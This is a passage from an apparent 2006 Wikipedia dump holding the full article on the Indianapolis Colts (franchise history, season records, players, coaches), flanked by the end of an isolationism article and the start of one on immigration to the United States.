* [[Sakoku]] - Japanese isolationism lasting over 200 years 
* [[Unilateralism]]

==References==
* [http://www.questia.com/PM.qst?a=o&amp;d=98186825 Cole, Wayne S. ''Charles A. Lindbergh and the Battle against American Intervention in World War II'' (1974)]
* [http://www.questia.com/PM.qst?a=o&amp;d=85979197 Cole, Wayne S. ''America First: The Battle against Intervention, 1940-41'' (1953)]
* [http://www.questia.com/PM.qst?a=o&amp;d=14522811 Kennedy, Thomas C. ''Charles A. Beard and American Foreign Policy'' (1975)]


[[Category:International relations]]

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  <page>
    <title>Indianapolis Colts</title>
    <id>15049</id>
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      <id>42063955</id>
      <timestamp>2006-03-03T15:39:14Z</timestamp>
      <contributor>
        <username>Alakazam</username>
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      <minor />
      <comment>/* 2005 season */</comment>
      <text xml:space="preserve">{{NFL team | name = Indianapolis Colts
| logo = IndianapolisColts_100.png
| founded = 1953
| city = Indianapolis, Indiana
| colors = Royal Blue and White
| coach = [[Tony Dungy]]
| owner = [[Jim Irsay]]
| general manager = [[Bill Polian]]
| mascot = Spike and Spirit
| stations = [[WFBQ]] (94.7 FM)
| announcers = Bob Lamey and [[Ted Marchibroda]]
| hist_yr = 1984
| hist_misc =
* [[Baltimore, Maryland|Baltimore]] Colts (1953-1983)
| NFL_start_yr = 1953
| division_hist =
*Western Conference (1953-1969)
**Coastal Division (1967-1969)
*'''[[American Football Conference]] (1970-present)'''
**[[AFC East]] (1970-2001)
**'''[[AFC South]] (2002-present)'''|
| no_league_champs = 4
| no_sb_champs = 1
| no_conf_champs = 5
| no_div_champs = 10
| league_champs = 
*'''[[List of NFL champions|NFL Championships]] (3)'''&lt;br&gt;1958, 1959, 1968
| sb_champs = 1970&amp;nbsp;([[Super Bowl V|V]])
| conf_champs =
*'''NFL Western:''' 1958, 1959, 1964, 1968
*'''AFC:''' 1970
| div_champs =
*'''NFL Coastal:''' 1968
*'''AFC East:''' 1970, 1975, 1976, 1977, 1987, 1999
*'''AFC South:''' 2003, 2004, 2005
| stadium_years =
*[[Memorial Stadium (Baltimore)]] (1953-1983)
*'''[[RCA Dome]] (1984-present)'''
**a.k.a. Hoosier Dome (1984-1993)
*[[Lucas Oil Stadium]] (scheduled to open in 2008)
}}

The '''Indianapolis Colts''' are a professional [[American football]] team based in [[Indianapolis, Indiana]]. They currently belong to the [[AFC South|Southern Division]] of the [[American Football Conference]] (AFC) in the [[National Football League]] (NFL).

The team began play in 1953 as a second incarnation of the previous '''[[Baltimore Colts (1947-50)|Baltimore Colts]]''' team in the NFL. The original Colts team began play in [[1946 in sports|1946]] as a charter member of the [[All-America Football Conference]] and joined the NFL in [[1950 NFL season|1950]] after the AAFC merged into the older league, but folded after the season. After fans in [[Baltimore, Maryland]] protested, the NFL formed this newer Colts team. While in Baltimore, the club won three [[List of NFL champions|NFL Championships]] and one [[Super Bowl]].

Prior to the [[1984 NFL season|1984 season]], the Colts moved from Baltimore to Indianapolis, highlighted by an infamous incident in which they packed all of their belongings into [[Mayflower Transit]] trucks in the middle of a snowy night on [[March 28]]. The move angered many Baltimore fans and former players so much that they completely disassociated themselves from the relocated Indianapolis team. Meanwhile, the Colts have not returned to the Super Bowl since then.

:'''Uniform colors:'''  royal blue and white
:'''Helmet design:'''  white background, blue horseshoe

== Franchise history ==
===The AAFC Baltimore Colts===
{{details|Baltimore Colts (1947-50)}}
There have been two unrelated NFL teams called the Baltimore Colts.  The first Colts team started in the [[All-America Football Conference]] in 1946 as the '''Miami Seahawks'''. They moved to Baltimore in 1947. In 1950, they joined the [[National Football League]] and finished the season with a record of 1-11. They folded after the 1950 season; however, supporting groups such as a [[fan club]] and a [[marching band]] remained in operation and worked for the team's revival.

===The NFL Baltimore Colts===
The team that is currently the '''Indianapolis Colts''' has taken a long trip to get to where they are today. Officially the NFL considers the Colts to have begun play in [[1953 NFL season|1953]] in Baltimore, but it was created from the nucleus that had previously been the [[Boston Yanks]] 1944-1948, [[New York Bulldogs]] 1949, [[New York Yanks]] 1950-1951 and the [[Dallas Texans (NFL)|Dallas Texans]] 1952.

In 1953, [[Carroll Rosenbloom]] became the principal owner of the new NFL Baltimore Colts. In [[1958 NFL season|1958]], coached by Hall of Famer [[Weeb Ewbank]] and led by [[Hall of Fame]] quarterback [[Johnny Unitas]], the Colts defeated the [[New York Giants]] at [[Yankee Stadium]] 23-17 in the NFL championship game, an overtime contest sometimes called &quot;The Greatest Game Ever Played.&quot;  The Colts repeated as NFL champions in [[1959 NFL season|1959]], beating the Giants again, 31-16.  In the early 1960s, the Colts continued as an elite NFL team although they lost the [[professional football championship games|NFL championship game]] in [[1964 NFL season|1964]] to the Cleveland Browns, 27-0.  

The [[1967 NFL season|1967]] Colts entered the final week of the regular season undefeated, but then a 34-10 loss to the [[St. Louis Rams|Rams]] at [[Los Angeles]] kept them out of the playoffs as the result gave both teams a final record of 11-1-2, with the Rams being awarded first place in the Western Conference's Coastal Division because they won the head-to-head series (the first meeting between the two teams, at Baltimore, ended in a 24-24 tie).

In [[1968 NFL season|1968]], after a 13-1 season, they gained a measure of revenge against the Browns, defeating them 34-0 in the [[professional football championship games|NFL championship game]].  The 13-1 regular season and the trouncing of the Browns led NFL-based media to call the Colts ''&quot;the greatest pro football team of all time&quot;''.  The Colts went into [[Super Bowl III]] (the first in the series to officially be called the ''Super Bowl'') against the [[American Football League]]'s [[New York Jets]] as 17-point favorites, with NFL icons like [[Pro Bowl]]ers Bobby Boyd (db), Mike Curtis (lb), [[John Mackey (athlete)|John Mackey]] (te), Tom Matte (rb), Fred Miller (dl), [[Earl Morrall]] (qb), Willie Richardson (wr), and Bob Vogel (ol).

The result of the game was one of the greatest upsets in sports history as [[Joe Namath]] and [[Matt Snell]] led the [[American Football League]] champion [[New York Jets|Jets]] to a [[professional football championship games|World Championship]] over the NFL's Colts, 16-7.  Ironically, the Jets were coached by [[Weeb Ewbank]], who had previously led the Colts to two NFL titles.

Rosenbloom, [[Art Modell]] (Browns), and [[Art Rooney]] (Steelers) facilitated the NFL merger with the [[American Football League]], by joining the ten AFL teams in the AFC.  After the NFL merged with the AFL in [[1970 NFL season|1970]], the Colts moved to the American Football Conference (AFC) and won the AFC championship against the [[Oakland Raiders]] 27-17.  Baltimore went on to win the first post-merger Super Bowl ([[Super Bowl V]]) against the NFC's [[Dallas Cowboys]] 16-13, on a Jim O'Brien field goal.  Since there was only one league after 1969, the Colts' [[Super Bowl V|1970 Super Bowl win]] was the NFL championship, as were all Super Bowls thereafter. In [[1971 NFL Season|1971]], the Colts made it back to the NFL Playoffs, they defeated the Cleveland Browns in the first round, but lost to the [[Miami Dolphins]] in the AFC Championship on [[January 2]] [[1972]] 21-0.

On [[July 13]], [[1972]], Rosenbloom traded the Colts to [[Robert Irsay]] for the [[Los Angeles Rams]], but the players remained in their same respective cities.  The Colts made the playoffs four more times in the 1970s - a wild card in [[1971 NFL season|1971]] and three consecutive AFC East titles in [[1975 NFL season|1975]] [[1976 NFL season|through]] [[1977 NFL season|1977]] (led in these latter years by the NFL's best defensive line, known colloquially as the &quot;Sack Pack&quot;), but then endured nine consecutive losing seasons beginning in [[1978 NFL season|1978]].  In [[1981 NFL season|1981]], the defense was the main problem: The Colts allowed an NFL-record 533 points, and also set an all-time record for fewest sacks (13) and a modern record for fewest punt returns (12).  The following year the offense collapsed: On [[November 28]], [[1982]], the Colts' offense did not cross mid-field in an entire game, played [[Ralph Wilson Stadium|at Buffalo]] against the [[Buffalo Bills|Bills]]; this would not happen again in an NFL game until [[2000 NFL season|2000]].  The Colts also finished 0-8-1 in 1982, only nine games having been played that year due to a 57-day players' strike.

===Relocation to Indianapolis===
By early 1984, team owner Robert Irsay threatened to move the team unless Baltimore city officials helped pay for a new stadium and other concessions. Despite numerous public announcements that he would not move the Colts out of Baltimore, and the [[Maryland]] legislature threatening to give the city of Baltimore the right to seize the team by [[eminent domain]], Irsay secretly negotiated with Indianapolis to move the team. The Indiana capital agreed to give the team a $12.5 million loan, a $4 million training complex, and the use of the [[RCA Dome|Hoosier Dome]] {{fn|1}}. After signing the agreement, [[Mayflower Transit]] trucks rolled into the team's training complex in the wee hours of [[March 28]]. Workers then packed and shipped the team's offices and equipment to Indianapolis.

The moved triggered a flurry of legal activity that ended when representatives of Baltimore and the Colts organization reached a settlement on [[March 1986]] in which all lawsuits regarding the relocation would be dismissed, and the Colts would endorse a new NFL team for Baltimore. {{fn|2}}

Several years later on [[November 6]], [[1995]], then-[[Cleveland Browns]] owner Art Modell announced his intention to move his Browns team to Baltimore. The decision also triggered a flurry of legal activity that ended when representatives of both cities and the NFL reached a settlement on [[February 9]], [[1996]]. It stipulated that the Browns' name, colors, and history of the franchise were to remain in Cleveland. A reactivated Cleveland Browns team would then begin play in 1999, while the relocated club would technically be a new expansion team. However, the Irsay family refused to turn over the Baltimore Colts name, colors, and history. Therefore the new team was named the [[Baltimore Ravens]] after a fan vote.

When the Ravens began play in [[1996 NFL season|1996]], the NFL continued to regard the pre-1984 Baltimore Colts organization and Indianapolis Colts as one continuous entity, and the Ravens as a 1996 [[expansion team]].  However, almost all of the prominent former old-time Baltimore Colts players, who had disassociated themselves from the relocated Indianapolis team, started to attend the new Baltimore team's games and events. They, and most Baltimore fans who are still disgusted about the Colts' relocation, view the pre-1984 Colts organization and the Ravens as one continuous entity. In fact, the old Baltimore Colts [[marching band]] and [[fan club]] became part of the Ravens organization.

===The years in Indianapolis===
Since 1984, the Colts have had mixed success at best.  They have appeared in the playoffs seven seasons since then, with their best advance to the AFC championship game in [[1995 NFL season|1995]], when they lost to the [[Pittsburgh Steelers]] 20-16, and in [[2003 NFL season|2003]], when they won the AFC South Division title, defeated the [[Denver Broncos]] in the wild-card playoff (41-10), and advanced to play the [[Kansas City Chiefs]] in a divisional playoff, winning 38-31.  In the AFC Championship game, they were decisively defeated 24-14 by the eventual Super Bowl champions, the [[New England Patriots]], with quarterback [[Peyton Manning]] throwing four interceptions, in a game which was widely criticized for its minimal officiating (only seven penalties were called during the entire game, six of them were pre-snap fouls).

===2004 season===
In the [[2004 NFL season|2004 season]], the Colts hoped to make another trip to the postseason. After losing in Week 1 to the defending champion [[New England Patriots]] 27-24 in Foxboro, they won four straight games before their week 6 bye. During that streak, they beat the [[Tennessee Titans]] in Nashville 31-17, won in the week 3 home opener against the [[Green Bay Packers]] 45-31, and then tied for the AFC South with a victory over the [[Jacksonville Jaguars]] at Alltel Stadium 24-17. They won at home against the [[Oakland Raiders]] 35-14 but coming off of their bye week, the Colts lost the next 2 games. They lost the rematch against the Jaguars at home, 27-24, and lost to the revenge-hungry [[Kansas City Chiefs]], 45-35. Following these back-to-back defeats, the Colts began an 8-game winning streak. They won their next 2 home games, beating the [[Minnesota Vikings]] 31-28 &amp; the [[Houston Texans]] 49-14. Then, they won their next 2 road games, beating the [[Chicago Bears]] 41-10 &amp; the [[Detroit Lions]] 41-9. They returned home and got a series sweep over the Titans 51-24, which also marked the 4th game in a row in which the Colts won with 40+ points. It also marked the 5th game in a row in which they won with 30+ points. On a trip to Houston with a win, they achieved another series sweep. This time, over the Texans 23-14. With that victory, the Colts locked up the AFC South title for the second year in a row.

In their week 16 home game against the playoff-bound [[San Diego Chargers]], [[Peyton Manning]] was only a few touchdown passes away from breaking [[Dan Marino]]'s record of 48 TD passes in a single season. Trailing 31-16, [[Dominic Rhodes]] returned a kickoff 88 yards for a TD. With 4:47 left in regulation, Peyton Manning waived the punting team off, despite the fact that it was 4th &amp; 4 on the Colts 25 yard-line. His gamble worked with a complete pass to [[Reggie Wayne]] for a first down. He then completed two more passes to tight end [[Dallas Clark]] &amp; an 18-yard throw to Marvin Harrison. He finally broke Marino's record with TD Pass #49 to wide receiver [[Brandon Stokley]]. He completed a 2-point conversion to tie the game up at 31-31 and send it into overtime. Eventually, the Colts won 34-31 with a [[Mike Vanderjagt]] field goal and secured the #3 AFC seed in the playoffs.

Despite losing their last regular season game on the road to the Broncos, 33-14, the Colts managed to get payback in the AFC Wildcard round with their 49-24 victory at home. During that game, Manning threw 27 completed passes out of 33 tries for an astounding 457 yards, with 4 TDs and only 1 interception. [[Edgerrin James]] ran 18 times for 63 yards and a single touchdown (with his longest run being 11 yards).

Despite their big victory, the Colts lost to the eventual Super Bowl Champion Patriots for the second year in a row the next week in the divisional round, 20-3. This was the worst loss of the Colts' season, as one of the most prolific offenses during the season was consistently stopped by New England's defense.  It was the first time all season that the Colts were unable to score a touchdown.  In addition, the Colts defense struggled to stop the Patriots offense from executing 3 time-consuming drives that each lasted over 7 minutes and lead to 17 total points.

===2005 season===

Despite going 0-5 in the preseason, the Colts began the [[2005 NFL season|2005 Season]] with a 13-0 start. They were only the fourth team to do so, in the process became the season's last-remaining undefeated team in the NFL. Though their opponents had worked out how to defend against a Peyton Manning pass offense, which had been responsible for consistently high scores in 2004 and prior years, the Colts offense proved its versatility, more heavily emphasizing rushing. Though this has resulted in much lower scores in 2005, their improved defense has allowed the team to keep winning: It performed the remarkable feat of holding each of their first three opponents to under 10 points, and in their October 9 game against the [[San Francisco 49ers]], the Colts made up for a sub-par offensive performance with four interceptions, including one that resulted in a defensive touchdown.

Another factor that has contributed to the Colts' success is their use of the [[no-huddle offense]]. Instead of calling plays in a conventional huddle, quarterback Manning calls them at the line of scrimmage. The offense moves at a much quicker pace as a result and doesn't allow the opposing defense to substitute in fresh defenders. On November 7 the Colts got their eighth-straight victory, beating the two-time defending champion Patriots 40-21 on [[Monday Night Football]]. This marked the end of the Patriots' six-game win streak against the Colts, and Peyton Manning's first victory at New England against the [[Tom Brady]]-led Patriots.  It was also the second time this year the Colts offense scored 40 or more points; the first was back on week 6 against the Rams.

On November 20, the Colts faced their first real challenge against the [[Carson Palmer]]-led [[Cincinnati Bengals|Bengals]], in which the Colts won 45-37 and became the first team to go 10-0 since the [[1998 Denver Broncos]]. It also marked the third time this year they won with 40-plus points.  The Colts then defeated the [[Pittsburgh Steelers]], 26-7, on a [[Monday Night Football]] game on November 28, spoiling [[Ben Roethlisberger]]'s return from knee surgery and giving him his first road loss.

On Sunday, December 3, the Colts swept division rival [[Tennessee Titans]] at home 35-3 to remain undefeated, becoming the first team to qualify for the playoffs. The next week they swept the [[Jacksonville Jaguars]], another division rival, to clinch the division and the No. 1 playoff seed in the AFC, which ensured the Colts' home-field advantage.  This also marked the first time since the 1998 [[Denver Broncos]] and the fourth time in NFL history a team went 13-0.

On Sunday, December 18, the [[San Diego Chargers]] defeated the Colts 26-17, ending their bid to replace the [[1972 in sports|1972]] [[Miami Dolphins]] as the most recent team in the NFL to play an undefeated season.

In week 16, the Colts were forced to play without their coach, Tony Dungy, who took the week off to mourn the death of his son James, presumed to have commited suicide earlier in the week. With the team resting most of their key and injured players, the Colts lost their second-straight game 28-13 to the surging [[Seattle Seahawks]].

In their last regular season home game of the year, the Colts again played mostly with their back-ups and won against the [[Arizona Cardinals]] 17-13.  More importantly, this game marked the return of Coach Dungy.  The team's final record of 14-2 marks the best 16-game season in the franchise's history.

On [[January 15]], [[2006]], the Colts were eliminated from the playoffs in a divisional playoff matchup against the year's Super Bowl champion [[Pittsburgh Steelers]].  They were down 21-3 and staged a comeback, but came up short 21-18, as [[Mike Vanderjagt]]'s 46-yard field goal attempt sailed wide-right.  This makes the Colts only the 2nd team to start 10-0 and not make it to the Super Bowl.  The other being the 1990 San Fransisco 49ers.

After the upset loss, Tony Dungy had several people wondering if he would be back for the 2006 season.  A few days later, he stated that he would return, saying he forgot to mention that in the conference.  The Colts then secured [[Reggie Wayne]] with a 6-year, $40 Million dollar contract.  However, it is doubtful to see [[Edgerrin James]] returning to Indianapolis for the 2006 season.

===Season-by-season records===
{{Start NFL SBS}}
|-
| colspan=&quot;6&quot; align=&quot;center&quot; | '''Baltimore Colts'''
|-
|1953 || 3 || 9 || 0 || 5th NFL West || --
|-
|1954 || 3 || 9 || 0 || 6th NFL West || --
|-
|1955 || 5 || 6 || 1 || 4th NFL West || --
|-
|1956 || 5 || 7 || 0 || 4th NFL West || --
|-
|1957 || 7 || 5 || 0 || 3rd NFL West || --
|-
|1958 || 9 || 3 || 0 || 1st NFL West || '''Won NFL Championship'''
|-
|1959 || 9 || 3 || 0 || 1st NFL West || '''Won NFL Championship'''
|-
|1960 || 6 || 6 || 0 || 4th NFL West || --
|-
|1961 || 8 || 8 || 0 || T-3rd NFL West || --
|-
|1962 || 7 || 7 || 0 || 4th NFL West || --
|-
|1963 || 8 || 6 || 0 || 3rd NFL West || --
|-
|1964 || 12 || 2 || 0 || 1st NFL West || Lost NFL Championship ([[Cleveland Browns|Browns]])
|-
|1965 || 10 || 3 || 1 || 2nd NFL West || Lost [[NFL playoffs, 1965|Western Conference Playoff]] ([[Green Bay Packers|Packers]])
|-
|1966 || 9 || 5 || 0 || 2nd NFL West || --
|-
|1967 || 11 || 1 || 2 || 2nd NFL Coastal || --
|-
|1968 || 13 || 1 || 0 || 1st NFL Coastal || '''Won NFL Championship''' &lt;br&gt;Lost [[Super Bowl III]] ([[New York Jets|Jets]])
|-
|1969 || 8 || 5 || 1 || 2nd NFL Coastal || --
|-
|1970 || 11 || 2 || 1 || 1st AFC East || '''Won NFL Championship''' &lt;br&gt;'''Won [[Super Bowl V]]'''
|-
|1971 || 10 || 4 || 0 || 2nd AFC East || Lost [[NFL playoffs, 1971-72|Conference Championship]]  ([[Miami Dolphins|Dolphins]])
|-
|1972 || 5 || 9 || 0 || 3rd AFC East || --
|-
|1973 || 4 || 10 || 0 || 5th AFC East || --
|-
|1974 || 2 || 12 || 0 || 5th AFC East || --
|-
|1975 || 10 || 4 || 0 || 1st AFC East || Lost [[NFL playoffs, 1975-76|Divisional Playoffs]] ([[Pittsburgh Steelers|Steelers]])
|-
|1976 || 11 || 3 || 0 || 1st AFC East || Lost [[NFL playoffs, 1976-77|Divisional Playoffs]] ([[Pittsburgh Steelers|Steelers]])
|-
|1977 || 10 || 4 || 0 || 1st AFC East || Lost [[NFL playoffs, 1977-78|Divisional Playoffs]] ([[Oakland Raiders|Raiders]])
|-
|1978 || 5 || 11 || 0 || 5th AFC East || --
|-
|1979 || 5 || 11 || 0 || 5th AFC East || --
|-
|1980 || 7 || 9 || 0 || 4th AFC East || --
|-
|1981 || 2 || 14 || 0 || 4th AFC East || --
|-
|1982 || 0 || 8 || 1 || 14th AFC Conf. || --
|-
|1983 || 7 || 9 || 0 || 4th AFC East || --
|-
| colspan=&quot;6&quot; align=&quot;center&quot; | '''Indianapolis Colts'''
|-
|1984 || 4 || 12 || 0 || 4th AFC East || --
|-
|1985 || 5 || 11 || 0 || 4th AFC East || --
|-
|1986 || 3 || 13 || 0 || 5th AFC East || -
|-
|1987 || 9 || 6 || 0 || 1st AFC East || Lost [[NFL playoffs, 1987-88|Divisional Playoffs]] ([[Cleveland Browns|Browns]])
|-
|1988 || 9 || 7 || 0 || 2nd AFC East || --
|-
|1989 || 8 || 8 || 0 || 2nd AFC East || --
|-
|1990 || 7 || 9 || 0 || 3rd AFC East || --
|-
|1991 || 1 || 15 || 0 || 5th AFC East || --
|-
|1992 || 9 || 7 || 0 || 3rd AFC East || --
|-
|1993 || 4 || 12 || 0 || 5th AFC East || --
|-
|1994 || 8 || 8 || 0 || 3rd AFC East || --
|-
|1995 || 9 || 7 || 0 || 2nd AFC East || Lost [[NFL playoffs, 1995-96|Conference Championship]] ([[Pittsburgh Steelers|Steelers]])
|-
|1996 || 9 || 7 || 0 || 3rd AFC East || Lost [[NFL playoffs, 1996-97|Wild Card Playoffs]] ([[Pittsburgh Steelers|Steelers]])
|-
|1997 || 3 || 13 || 0 || 5th AFC East || --
|-
|1998 || 3 || 13 || 0 || 5th AFC East || --
|-
|1999 || 13 || 3 || 0 || 1st AFC East || Lost [[NFL playoffs, 1999-2000|Divisional Playoffs]] ([[Tennessee Titans|Titans]])
|-
|2000 || 10 || 6 || 0 || 2nd AFC East || Lost [[NFL playoffs, 2000-01|Wild Card Playoffs]] ([[Miami Dolphins|Dolphins]])
|-
|2001 || 6 || 10 || 0 || 4th AFC East || --
|-
|2002 || 10 || 6 || 0 || 2nd AFC South || Lost [[NFL playoffs, 2002-03|Wild Card Playoffs]] ([[New York Jets|Jets]])
|-
|2003 || 12 || 4 || 0 || 1st AFC South || Lost [[NFL playoffs, 2003-04|Conference Championship]] ([[New England Patriots|Patriots]])
|-
|2004 || 12 || 4 || 0 || 1st AFC South || Lost [[NFL playoffs, 2004-05|Divisional Playoffs]] ([[New England Patriots|Patriots]])
|-
|2005 || 14 || 2 || 0 || 1st AFC South || Lost [[NFL playoffs, 2005-06|Divisional Playoffs]] ([[Pittsburgh Steelers|Steelers]])
{{end box}}
^At the end of the [[2005 NFL season]], the Colts All-Time Record is 403-393-7 (including playoffs).

== Players of note ==
===Current players===
{{Indianapolis Colts roster}}

===[[Pro Football Hall of Fame]]rs===
====Baltimore Colts====
* 82 [[Raymond Berry]]
* 70 [[Art Donovan]]
* 83 [[Ted Hendricks]]
* 88 [[John Mackey (athlete)|John Mackey]]
* 89 [[Gino Marchetti]]
* 24 [[Lenny Moore]]
* 77 [[Jim Parker]]
* 19 [[Johnny Unitas]]
* [[Weeb Ewbank]], the only head coach to win championships in both the NFL and the AFL
* [[Don Shula]]

====Indianapolis Colts====
* 29 [[Eric Dickerson]]

===Retired numbers===
====Baltimore Colts====
*19 [[Johnny Unitas]]
*22 [[Buddy Young]]
*24 [[Lenny Moore]]
*70 [[Art Donovan]]
*77 [[Jim Parker]]
*82 [[Raymond Berry]]
*89 [[Gino Marchetti]]

====Indianapolis Colts====
None as of the 2005 season.  The Colts do, however, have a Ring of Honor at the RCA Dome, which includes the following:

* 4 Jim Harbaugh, QB
* 75 Chris Hinton, OT
* 80 Bill Brooks, WR
* [[Bob Irsay]], owner who moved the team from Baltimore to Indianapolis

===Not to be forgotten===
====Baltimore Colts====
*[[Alan Ameche]]
*[[Norm Bulaich]]
*[[Mike Curtis (football player)|Mike Curtis]]
*[[Bert Jones]]
*[[Bruce Laird (football player)|Bruce Laird]]
*[[Lenny Lyles]]
*[[Tom Matte]]
*[[Don McCauley]]
*[[Lou Michaels]]
*[[Lydell Mitchell]]
*[[Earl Morrall]]
*[[Steve Myhra]]
*[[Buzz Nutter]]
*[[R.C. Owens]]
*[[Bill Pellington]]
*[[Bert Rechichar]]
*[[Bubba Smith]]
*[[Joe Washington]]
*[[Ted Marchibroda]], head coach
*[[Carroll Rosenbloom]], owner

====Indianapolis Colts====
*[[Raul Allegre]]
*[[Chip Banks]]
*[[Dean Biasucci]]
*[[Duane Bickett]]
*[[Eugene Daniel]]
*[[Marshall Faulk]]
*[[Jeff George]]
*[[Jim Harbaugh]]
*[[Robert Irsay]], owner
*[[Ted Marchibroda]], head coach and (later) radio analyst
*[[Marcus Pollard]]
*[[Tony Siragusa]]

==Head Coaches==
*[[Keith Molesworth]] (1953)
*[[Weeb Ewbank]] (1954-1962)
*[[Don Shula]] (1963-1969)
*[[Don McCafferty]] (1970-1972)
*[[John Sandusky]] (interim) (1972)
*[[Howard Schnellenberger]] (1973-1974)
*[[Joe Thomas (football coach)|Joe Thomas]] (interim) (1974)
*[[Ted Marchibroda]] (1975-1979)
*[[Mike McCormack]] (1980-1981)
*[[Frank Kush]] (1982-1984)
*[[Rod Dowhower]] (1985-1986)
*[[Ron Meyer]] (1986-1991)
*[[Rick Venturi]] (interim) (1991)
*[[Ted Marchibroda]] (1992-1995)
*[[Lindy Infante]] (1996-1997)
*[[Jim E. Mora|Jim Mora]] (1998-2001)
*[[Tony Dungy]] (2002-present)

===Current Staff===
*Head Coach - [[Tony Dungy]]
*Offensive Coordinator - [[Tom Moore (football coach)|Tom Moore]]
*Defensive Coordinator - [[Ron Meeks]]
*Special Teams Coach - [[Russ Purnell]]
*Quarterbacks Coach - [[Jim Caldwell (football coach)|Jim Caldwell]]
*Running Backs Coach - [[Gene Huey]]
*Wide Receivers Coach - [[Clyde Christiansen]]
*Tight Ends Coach - [[Ricky Thomas]]
*Offensive Line Coach - [[Howard Mudd]]
*Defensive Line Coach - [[John Teerlinck]]
*Linebackers Coach - [[Mike Murphy (football coach)|Mike Murphy]]
*Defensive Backs Coach - [[Alan Williams (football coach)|Alan Williams]]
*Defensive Assistant - [[Leslie Frazier]]
*Strength and Conditioning - [[Jon Torine]]

==Notes==
*{{fnb|1}} Nash, Bruce, and Allen Zullo (1986). ''The Football Hall of Shame'', 92, Pocket Books. ISBN 0671745514.
*{{fnb|2}} [http://www2.indystar.com/library/factfiles/sports/football-pro/indpls_colts/history/colts.html History of the Indianapolis Colts] from indystar.com (Last Accessed January 17, 2006)

==External links==
*[http://www.colts.com/ Indianapolis Colts official web site]
*[http://www.sportsecyclopedia.com/nfl/indy/icolts.html Sports E-Cyclopedia.com]
*[http://members.aol.com/rich953908/colts.html  Most frequently updated Baltimore Colts Site]

{{NFL}}

[[Category:Indianapolis Colts| ]]
[[Category:National Football League teams]]
[[Category:1953 establishments]]

[[de:Indianapolis Colts]]
[[es:Indianapolis Colts]]
[[fr:Colts d'Indianapolis]]
[[it:Indianapolis Colts]]
[[ja:インディアナポリス・コルツ]]
[[pt:Indianapolis Colts]]
[[sv:Indianapolis Colts]]</text>
    </revision>
  </page>
  <page>
    <title>Immigration to the United States</title>
    <id>15051</id>
    <revision>
      <id>41272802</id>
      <timestamp>2006-02-26T05:22:47Z</timestamp>
      <contributor>
        <username>Rjensen</username>
        <id>313197</id>
      </contributor>
      <text xml:space="preserve">[[Image:Statue-de-la-liberte-new-york.jpg|160px|thumb|right|The [[Statue of Liberty]] has been a symbol of freedom to many immigrants who entered the United States through [[Ellis Island]]]]

'''Immigration to the United States''' is the act of [[immigration|immigrating]], or moving, to the [[United States]] from another nation. The United States has a long history of [[immigration]], from 1600 to the present. Millions came from Europe in the 19th century, from Asia, Africa, and Latin America in the present day. Throughout American history, immigration has caused controversy regarding the political loyalties and values of people who have moved from one nation to another. The British settlers of the colonial era moved from one part of the British Empire to another (as did the Dutch), and did not change their nation, but the Germans did and nearly everyone else did so. (For statistical purposes in this article everyone who arrived in the colonial period is called an immigrant.) (The Puerto Ricans who moved to the mainland after 1945 are not considered immigrants, since they were US citizens.) Given the geography, most immigrants came long distances. However the French Canadians who came down from Quebec after 1860, and the Mexicans who came north after 1911, found it easy to move back and forth. Indeed with cheap jet travel after 1965, a return to the country of origin became fast and fairly inexpensive. 

==Historical immigration==
===Colonial-era immigration to North America===
According to the source, ''The Source: A Guidebook of American Genealogy'' by Kory L. Meyerink and Loretto Dennis Szucs, the following were the countries of origin for new arrivals coming to the United States before 1790. The regions marked * were part of Great Britain:
&lt;center&gt;
{| align=&quot;center&quot; class=wikitable 
|-   
! style=&quot;background:#efefef;&quot; | Group !! style=&quot;background:#efefef;&quot; | Immigrants before 1790  
|- 
| [[Africa]] 
| 360,000 (most as slaves)
|- 
|[[England]]*
| 230,000
|- 
|[[Ulster]]*
| 135,000
|- 
|[[Germany]]
| 103,000
|- 
|[[Scotland]]*
| 48,500
|- 
|[[Ireland]]
| 8,000
|-
|[[Netherlands]]
| 6,000
|- 
|[[Wales]]*
| 4,000
|- 
|[[France]]
| 3,000
|- 
|[[Jew]]s
| 2,000
|-
|[[Sweden]]
| 500
|}
&lt;/center&gt;
Early immigration laws prevented Asians and Africans from entering the USA legally (except as [[slavery|chattel]]s in the latter case). For most Europeans, however, immigration was relatively free and unrestricted until the 1800s and the onset of the [[Industrial Revolution]].

====Voluntary migration from Europe====
The population of the colonies that later became the United States grew from zero Europeans in the mid-[[1500s]] to 4.6 million Europeans and 900,000 African [[Slavery|slave]]s in 1790. At that time, it is estimated that 3/4 of the population were of British descent with Germans forming the second-largest ''free'' ethnic group and making up some 7% of the population.

Between 1629 and 1640, some 20,000 [[Puritan]]s emigrated from [[England]], most settling in the [[New England]] area of North America. In an event known as the [[Great Migration]], these people became the [[Yankee]]s of New England, who later spread out to [[New York]] and the [[Upper Midwest]].

From 1609 to 1664, some 8,000 [[Netherlands|Dutch]] settlers peopled the New Netherlands, which later became [[New York]] and [[New Jersey]].

Between 1645 and 1670, some 45,000 [[Cavaliers|Royalist]]s and/or [[indentured servants]] left England to work in the [[Middle Colonies]] and [[Virginia]].

From about 1675 to 1715, the [[Religious Society of Friends|Quakers]] made their move, leaving the Midlands and North England behind for [[Pennsylvania]], [[New Jersey]] and [[Delaware]]. The Quaker movement became one of the largest religious presences in early colonial America.

[[German people|Germans]] migrated early into several colonies but mostly to Pennsylvania, where they made up a third of the population by the time of the Revolution.

Between about 1710 and 1775, around 135,000 [[Irish people]] left [[Ulster]], (the northern [[Provinces of Ireland|province of Ireland)]], and settled in western [[Pennsylvania]], [[Appalachia]] and the western frontier: these places later would become [[Kentucky]] and [[Tennessee]].

====[[Unfree labour|Unfree labor]]: [[Atlantic slave trade|Slave trade]], [[indentured servant | indentured servitude]] and convict shipments====
The majority of African [[slavery|slaves]] came to the future United States before it gained independence. The numbers remain less than clear, but it is believed that some 300,000 slaves arrived in the British North American colonies before 1776, and some 100,000 were imported in the period between then and 1860. The international slave trade was made illegal in 1808.

A large number of [[indentured servant]]s, from the [[British Isles]], [[Ireland]] and Continental [[Europe]] (especially [[Germany]]), came to the future United States during the seventeenth and eighteenth centuries, with the bulk arriving in the half-century before 1776. Most were teenagers who served terms of four to fourteen years and arrived in the colonies of [[Pennsylvania]], [[New York]] and [[Virginia]].  About 50,000 British convicts also crossed the seas to North America in an [[penal transportation]] system between 1700 and 1770.

===Immigration 1790 to 1849===
Germans made up almost one-tenth of the population of the country by the end of the 18th century. At least 500,000 Germans immigrated in the first half of the 19th century. 20,000 came in the years 1816-1817, fleeing a famine. Some 61,000 fled to America after the failed [[Revolutions of 1848]].

